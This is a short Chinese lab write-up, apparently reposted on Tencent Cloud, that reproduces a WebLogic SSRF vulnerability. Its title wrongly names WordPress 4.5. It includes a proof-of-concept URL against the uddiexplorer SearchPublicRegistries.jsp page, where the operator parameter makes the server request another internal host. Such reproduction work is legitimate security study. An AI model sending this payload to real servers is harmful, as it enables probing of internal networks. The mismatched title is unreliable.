漏洞复现 | WordPress _4.5 SSRF
漏洞复现 | WordPress _4.5 SSRF
TeamsSix
发布于 2019-09-24 18:14:33
发布于 2019-09-24 18:14:33
一、环境搭建
https://www.cnblogs.com/0x4D75/p/8916428.html#%E4%B8%8B%E8%BD%BD%E5%AE%89%E8%A3%85weblogic
经过了千辛万苦，修改了无数次启动文件，终于启动了weblogic
二、Weblogic SSRF漏洞复现
构造POC：http://172.16.1.139:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.1.107:23333
可以看到浏览器向其他主机发送了一条请求，复现成功！
本文参与 腾讯云自媒体分享计划，分享自微信公众号。
原始发表：2018-12-26，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读
目录